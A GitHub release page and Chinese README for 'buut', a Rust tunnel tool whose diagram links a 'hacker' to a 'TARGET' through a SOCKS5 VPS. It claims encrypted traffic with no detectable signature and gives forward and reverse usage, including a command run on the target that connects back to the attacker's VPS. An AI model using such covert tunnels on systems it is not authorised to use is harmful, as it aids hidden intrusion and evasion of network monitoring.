Skip to content

Releases: YDHCUI/buut

buut-0.3-nightly-x86_64-unknown-linux-gnu

29 Mar 03:46
3964654
Compare
Choose a tag to compare

重构,重构 全面重构!!!

BUUT

介绍

一款rust开发的正反向代理隧道工具。

工作原理

+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+
|hacker| <--> | Socks5 VPS  | <--> |Yamux frame| <--> |Noise stream | <--> |TCP stream| <--> |TARGET|
+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+

参数介绍

    opts.optopt("l", "server_listen",   "", "服务监听地址,默认0.0.0.0:443");
    opts.optopt("s", "remote_addr",     "", "远程地址,默认127.0.0.1:443");
    opts.optopt("p", "proxy_port",      "", "代理监听,端口默认10086");
    opts.optopt("m", "transport",       "", "协议类型,默认TCP");//|UDP|WS|ICMP|DNS
    opts.optopt("k", "key",             "", "加密密钥");
    opts.optopt("n", "channel",         "", "通道数量,默认2");
    opts.optopt("c", "config",          "", "配置文件路径");
    opts.optopt("",  "sockspass",       "", "代理密码,默认不验证,用户名buut"); 
    opts.optflagopt("F", "forward",     "", "是否正向模式");
    opts.optflagopt("S", "server",      "", "是否服务模式");

特点:

速度快,使用rust开发,速度、稳定性和安全性都有保证。
体积小,win编译打包后只有不到400K,相比golang写的程序动辄10多M还是很有优势的。
无特征,程序使用Noise定制加密,可使用动态密钥保证无任何特征。
单文件,客户端和服务端使用同样的单文件、多模式自由组合切换。
多协议支持,目前release 0.3只支持tcp,后续把udp和icmp协议支持加进去。

使用方法

正向隧道:

target执行:./buut -F -l 443
vps执行 :./buut -F -s -s target:443 -p 10086
hacker连接socks5  vps:10086

反向隧道

vps执行:./buut -S -l 443 -p 10086
target执行:./buut -s vps:443
hacker连接socks5  vps:10086